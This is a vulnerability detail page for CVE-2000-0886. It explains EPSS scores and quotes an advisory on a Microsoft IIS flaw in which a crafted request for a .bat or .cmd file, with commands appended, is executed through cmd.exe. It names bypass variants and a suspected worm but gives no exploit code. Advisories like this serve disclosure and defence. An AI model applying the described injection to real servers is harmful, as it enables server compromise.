CVE-2000-0886 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/1912/info When Microsoft IIS receives a valid request for an executable file, the filename is then passed onto the underlying operating system which executes the file. In the event that IIS receives a specially formed request for an executable file followed by operating system commands, IIS will proceed to process the entire string rather than rejecting it. Thus, a malicious user may perform system commands through cmd.exe under the context of the IUSR_machinename account which could possibly lead to privilege escalation, deletion, addition, and modification of files, or full compromise of the server. In order to establish successful exploitation, the file requested must be an existing .bat or .cmd file residing in a folder that the user possesses executable permissions to. Update (November 27, 2000): Georgi Guninski has discovered new variants of this vulnerability that have appeared after applying the patch (Q277873) supplied by Microsoft. Please see 'Exploit' for further details. Update (December 7, 2000): Billy Nothern has discovered that the commands can also be parsed through ActiveState Perl. Please see his Bugtraq posted located under 'Credit' for further information. **UPDATE**: It is believed that an aggressive worm may be in the wild that actively exploits this vulnerability.
